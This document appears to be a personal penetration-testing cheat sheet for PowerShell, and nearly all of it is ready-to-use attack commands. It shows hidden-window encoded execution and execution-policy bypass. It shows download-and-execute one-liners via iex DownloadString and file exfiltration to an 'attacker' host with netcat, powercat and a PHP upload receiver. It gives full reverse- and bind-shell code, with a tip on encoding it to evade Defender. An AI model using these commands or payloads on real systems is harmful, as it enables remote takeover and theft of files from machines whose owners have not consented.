PowerShell is an object-oriented Windows shell. Pipes can pass both objects and text.

Execute Commands

Basic:

powershell -c "commands here"

Elevate integrity level (see Integrity Mechanism):

Start-Process powershell -Verb runAs

Run command remotely:

powershell.exe -nop -w hidden -e <encoded cmd>
  • -nop: -NoProfile, do not evaluate user profile
  • -w hidden: do not display window
  • -e <encoded cmd>: specify a base64-encoded command

Run command without restriction:

powershell.exe -ExecutionPolicy bypass -c "commands here"
powershell.exe -ep bypass -c "commands here"

View current shell version

$PSVersionTable

File upload to remote

.NET

fileupload

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://$HOST/$FILE','$NEWFILENAME')"

Invoke-WebRequest

fileupload

iwr -OutFile $NEWFILENAME "http://$HOST/$FILE"

iwr is an alias of Invoke-WebRequest

Evaluate PowerShell Script on Download

fileupload DownloadString

iex (New-Object System.Net.WebClient).DownloadString('http://$HOST/$FILE')

Powercat

fileupload Host: Start listener

nc -lnvp $HOST_PORT >$NEW_FILENAME

Remote: Get powercat

iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Remote: Get file

powercat -c $HOST_IP -p $HOST_PORT -i $REMOTE_FILE

File download to attacker

NOTE: PowerShell seems to have some stupid encoding quirks with binary data (auto-conversion to UTF-16?), so you are better off using cmd.exe if netcat is available.

cmd.exe with netcat

filedownload

cmd.exe
# run in cmd.exe in case pwsh pipe reencode
type <file> | nc -nv <ip> <port>

Powercat

filedownload NOTE: powercat doesn’t work on my kali for some reason.

powercat -c <ip> -p <port> -i <inputfile>

.NET

filedownload On attacker: create upload.php to be served by Apache

  • Place in /var/www/http
  • Run mkdir /var/www/uploads && sudo chown www-data: /var/www/uploads
<?php
$uploaddir = '/var/www/uploads/';
 
$uploadfile = $uploaddir . $_FILES['file']['name'];
 
move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)
?>

On remote:

powershell (New-Object System.Net.WebClient).UploadFile('http://10.11.0.4/upload.php', 'important.docx')

reverse shell

Native

On host

nc -lnvp $PORT

On remote (change $IP and $PORT)

$client = New-Object System.Net.Sockets.TCPClient($IP,$PORT);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
 
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $cmd = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $cmd_output = (iex $cmd 2>&1 | Out-String);
    $prompt = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendback = $cmd_output + $prompt
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush();
}
$client.Close();

Native Oneliner

On host

nc -lnvp $PORT

On remote Change $IP and $PORT. Base64 encoding may be necessary to bypass Defender.

powershell -c "$client=New-Object System.Net.Sockets.TCPClient($IP,$PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$cmd = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd_output = (iex $cmd 2>&1 | Out-String);$prompt = $sendback + 'PS ' + (pwd).Path + '> ';$sendback = $cmd_output + $prompt;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();}$client.Close();"

Invoke-PowerShellTcp

Part of nishang package / repo.

iex (New-Object System.Net.WebClient).DownloadString('http://$HOST/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress $IP -Port $PORT

Powercat

Host: Start listener

nc -lvp $HOST_PORT

Remote: Get powercat

iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Remote: Send shell with powercat

powercat -c $HOST_IP -p $HOST_PORT -e cmd.exe

Powercat Stand-Alone Encoded Payload

Host: Start listener

nc -lvp $HOST_PORT

Host: Generate powercat payload and send to clipboard

powercat -c $HOST_IP -p $HOST_PORT -e cmd.exe -ge | xclip

Remote: Evaluate the encoded payload with powershell

powershell.exe -E $ENCODED_PAYLOAD

bind shell

Native Oneliner

On remote (change $PORT)

powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',$PORT);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"

On host

nc -nv $IP $PORT

Invoke-PowerShellTcp

Part of nishang package / repo.

iex (New-Object System.Net.WebClient).DownloadString('http://$HOST/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Bind -Port $PORT

Powercat

Remote: Get powercat

iex (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

Remote: Serve shell with powercat

powercat -l -p $REMOTE_PORT -e cmd.exe

Host: Get shell with netcat

nc -lvp $REMOTE_PORT